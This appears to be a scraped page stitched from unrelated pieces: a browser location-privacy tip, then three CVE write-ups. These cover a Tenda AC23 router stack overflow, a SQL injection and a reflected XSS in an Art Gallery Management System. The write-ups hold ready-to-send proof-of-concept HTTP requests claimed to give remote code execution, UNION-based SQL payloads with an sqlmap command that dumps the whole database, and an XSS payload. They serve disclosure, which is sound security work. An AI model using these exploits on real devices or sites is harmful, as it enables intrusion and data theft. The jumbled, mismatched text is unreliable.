Every browser will have settings for managing website access to your location. In Chrome, it's **Privacy and Decurity**, **Site Settings,** and **Location** from the settings pane; if you're using Edge you need to open settings and choose **Cookies and Site Permissions** then **Location**; and on Safari on macOS, pick **Websites** and **Location** once you've got the settings dialog open. Changing these settings won't affect data these sites have collected in the past, though—you'll need to visit the options for the individual sites for that.

How to Make Sure You’re Not Accidentally Sharing Your Location

A vulnerability was found in Tenda AC23 16.03.07.45 and classified as critical. Affected by this issue is the function formSetSysToolDDNS/formGetSysToolDDNS of the file /bin/httpd. The manipulation leads to stack-based buffer overflow. The attack may be launched remotely. The exploit has been disclosed to the public and may be used. The identifier of this vulnerability is VDB-220640.

**Tenda AC23 formGetSysToolDDNS stack-based overflow****1.Product**

1.  **product information: https://www.tenda.com.cn/**
2.  **firmware download:https://www.tenda.com.cn/download/detail-3420.html**

**2.**Firmware****

**Hardware version:V1.0**

**Software version:V16.03.07.45**

**3.vulnerability details**

The vulnerability is in /bin/httpd , the function formSetSysToolDDNS,  formGetSysToolDDNS . The function formSetSysToolDDNS can set nvram val adv.ddns1.en to v22 , **which can be set through POST parameterddnsEn**

and in function formGetSysToolDDNS , the function calls GetValue(“adv.ddns1.en”, v11) to set the string to v11 which is on the stack. So there is a stack overflow vulnerability. By analyze the funtion GetValue and SetValue , the max size of the string we can get from the function GetValue is 0x5DC . It’s bigger than the size ofv11 

so there is a buffer overflow vulnerability.

**4.poc**

1.  You need to login and **replace the Cookie: password filed in poc**.
2.  By sending poc1 and poc2 (remember to send poc2), it can cause dos and rce.

    POST /goform/SetDDNSCfg HTTP/1.1
    Host: 192.168.0.1
    Content-Length: 641
    Accept: */*
    X-Requested-With: XMLHttpRequest
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    Content-Type: application/x-www-form-urlencoded; charset=UTF-8
    Origin: http://192.168.0.1
    Referer: http://192.168.0.1/ddns_config.html?random=0.48392112228286877&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adoikcvb
    Connection: close
    ddnsEn=111111111111111111111111111111111111111111111111111111111111111111111
    1111111111111111111111111111111111111111111111111111111111111111111111111111
    1111111111111111111111111111111111111111111111111111111111111111111111111111
    1111111111111111111111111111111111111111111111111111111111111111111111111111
    1111111111111111111111111111111111111111111111111111111111111111111111111111
    1111111111111111111111111111111111111111111111111111111111111111111111111111
    1111111111111111111111111111111111111111111111111111111111111111111111111111
    11111111111111111111111111111111111111111111111111&serverName=no�ip.com&ddnsUser=a&ddnsPwd=a&ddnsDomain=b.top
    

    GET /goform/GetDDNSCfg?0.45256296854497835 HTTP/1.1
    Host: 192.168.0.1
    Accept: application/json, text/javascript, */*; q=0.01
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36
    (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36
    X-Requested-With: XMLHttpRequest
    Referer: http://192.168.0.1/ddns_config.html?random=0.48392112228286877&
    Accept-Encoding: gzip, deflate
    Accept-Language: en,zh-CN;q=0.9,zh;q=0.8
    Cookie: password=25d55ad283aa400af464c76d713c07adoikcvb
    Connection: close
    

**5.Author**

_Wangjingping_

CVE-2023-0782: tendaAC23overflow/README.md at main · jingping911/tendaAC23overflow

Art Gallery Management System Project v1.0 was discovered to contain a SQL injection vulnerability via the cid parameter at product.php.

\> \[Suggested description\] > Art Gallery Management System Project v1.0 was discovered to contain a > SQL injection vulnerability via the cid parameter at product.php. > > ------------------------------------------ > > \[Additional Information\] > Steps to Reproduce: > 1. Navigate to the product page by clicking on the "ART TYPE" by selecting any of the categories on the menu. > 2. Now insert a single quote ( ' ) on "cid" parameter to break the database query, you will see the output is not shown. > 3. Now inject the payload double single quote ('') in the "cid" parameter to merge the > database query and after sending this request the SQL query is successfully performed and the product is shown in the output. > 4. Now find how many columns are returned by the SQL query. this query will return 6 columns. > Payload:cid=1%27order%20by%206%20--%20-&artname=Sculptures > 5. for manually getting data from the database insert the below payload to see the user of the database. > payload: cid=-2%27union%20select%201,2,3,user(),5,6--%20-&artname=Serigraphs > 6. for automation using "SQLMAP" intercept the request and copy this request to a file called "request.txt". > 7. now to get all database data use the below "sqlmap" command to fetch all the data. > Command: sqlmap -r request.txt -p cid --dump-all --batch > > //////// request.txt file //////// > > GET /Art-Gallery-MS-PHP/product.php?cid=2&&artname=Serigraphs HTTP/1.1 > Host: localhost > sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99" > sec-ch-ua-mobile: ?0 > sec-ch-ua-platform: "Windows" > Upgrade-Insecure-Requests: 1 > User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 > Sec-Fetch-Site: none > Sec-Fetch-Mode: navigate > Sec-Fetch-User: ?1 > Sec-Fetch-Dest: document > Accept-Encoding: gzip, deflate > Accept-Language: en-US,en;q=0.9 > Cookie: PHPSESSID=hub8pub9s5c1j18cva9594af3q > Connection: close > > ------------------------------------------ > > \[Vulnerability Type\] > SQL Injection > > ------------------------------------------ > > \[Vendor of Product\] > https://phpgurukul.com/ > > ------------------------------------------ > > \[Affected Product Code Base\] > Art Gallery Management System Project - Art Gallery Management System Project - V 1.0 > > ------------------------------------------ > > \[Affected Component\] > http://localhost/Art-Gallery-MS-PHP/product.php?cid=2&artname=Serigraphs > > ------------------------------------------ > > \[Attack Type\] > Remote > > ------------------------------------------ > > \[Impact Code execution\] > true > > ------------------------------------------ > > \[Impact Escalation of Privileges\] > true > > ------------------------------------------ > > \[Impact Information Disclosure\] > true > > ------------------------------------------ > > \[Attack Vectors\] > SQL injection attacks can have serious consequences for both the website and its users. If an attacker is able to successfully inject malicious code into a database, they can potentially extract sensitive data such as passwords, credit card numbers, and personal information. This can result in the theft of sensitive data, as well as damage to the website's reputation and credibility. > > SQL injection attacks can be used to perform a variety of malicious actions, including: > 1. Extracting sensitive data from the database, such as passwords, financial information, or personal information > 2. Modifying or deleting data from the database, potentially causing incorrect results or system failures > 3. Executing arbitrary commands on the database server, such as shutting down the server or creating new user accounts > 4. Gaining unauthorized access to the underlying operating system and taking complete control of the server > > ------------------------------------------ > > \[Reference\] > https://phpgurukul.com/art-gallery-management-system-using-php-and-mysql/ > https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip > > ------------------------------------------ > > \[Discoverer\] > Rahul Patwari Use CVE-2023-23162.

CVE-2023-23162: CVE/CVE-2023-23162.txt at main · rahulpatwari/CVE

A reflected cross-site scripting (XSS) vulnerability in Art Gallery Management System Project v1.0 allows attackers to execute arbitrary web scripts or HTML via a crafted payload injected into the artname parameter under ART TYPE option in the navigation bar.

\> \[Suggested description\] > A reflected cross-site scripting (XSS) vulnerability in Art Gallery > Management System Project v1.0 allows attackers to execute arbitrary > web scripts or HTML via a crafted payload injected into the artname > parameter under ART TYPE option in the navigation bar. > > ------------------------------------------ > > \[Additional Information\] > Steps to Reproduce: > 1. Navigate to the Products page by clicking on "ART TYPE". > 4. Now insert the XSS payload and click on "artname" parameter in the URL and click on ENTER to submit the request. Payload: <img%20src=1%20onerror=alert(document.domain)> > 5. After clicking on ENTER the XSS payload is executed and the alert Pops up with the domain name. > > ############ Product Page Request ############ > > GET /Art-Gallery-MS-PHP/product.php?cid=1&&artname=%3Cimg%20src=1%20onerror=alert(document.domain)%3E HTTP/1.1 > Host: localhost > Cache-Control: max-age=0 > sec-ch-ua: "Chromium";v="103", ".Not/A)Brand";v="99" > sec-ch-ua-mobile: ?0 > sec-ch-ua-platform: "Windows" > Upgrade-Insecure-Requests: 1 > User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 > Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,\*/\*;q=0.8,application/signed-exchange;v=b3;q=0.9 > Sec-Fetch-Site: none > Sec-Fetch-Mode: navigate > Sec-Fetch-User: ?1 > Sec-Fetch-Dest: document > Accept-Encoding: gzip, deflate > Accept-Language: en-US,en;q=0.9 > Cookie: PHPSESSID=hub8pub9s5c1j18cva9594af3q > Connection: close > > ------------------------------------------ > > \[Vulnerability Type\] > Cross Site Scripting (XSS) > > ------------------------------------------ > > \[Vendor of Product\] > https://phpgurukul.com/ > > ------------------------------------------ > > \[Affected Product Code Base\] > Art Gallery Management System Project - Art Gallery Management System Project - V 1.0 > > ------------------------------------------ > > \[Affected Component\] > http://localhost/Art-Gallery-MS-PHP/product.php?cid=1&&artname=Sculptures > > ------------------------------------------ > > \[Attack Type\] > Remote > > ------------------------------------------ > > \[Impact Code execution\] > true > > ------------------------------------------ > > \[Impact Escalation of Privileges\] > true > > ------------------------------------------ > > \[Impact Information Disclosure\] > true > > ------------------------------------------ > > \[Attack Vectors\] > Cross-Site Scripting (XSS) is a type of vulnerability that allows an attacker to inject malicious code into a website. This code is executed by the victim's web browser, allowing the attacker to steal sensitive information such as login credentials, or to manipulate the content of the website for malicious purposes. > XSS attacks can we used to perform a variety of malicious actions including: > 1. Stealing sensitive information > 2. Redirecting the victim to another webpage > 3. Executing arbitrary code > 4. Manipulating the appearance of the website > > ------------------------------------------ > > \[Reference\] > https://phpgurukul.com/art-gallery-management-system-using-php-and-mysql/ > https://phpgurukul.com/projects/Art-Gallery-MS-PHP.zip > > ------------------------------------------ > > \[Discoverer\] > Rahul Patwari Use CVE-2023-23161.

Tag

#chrome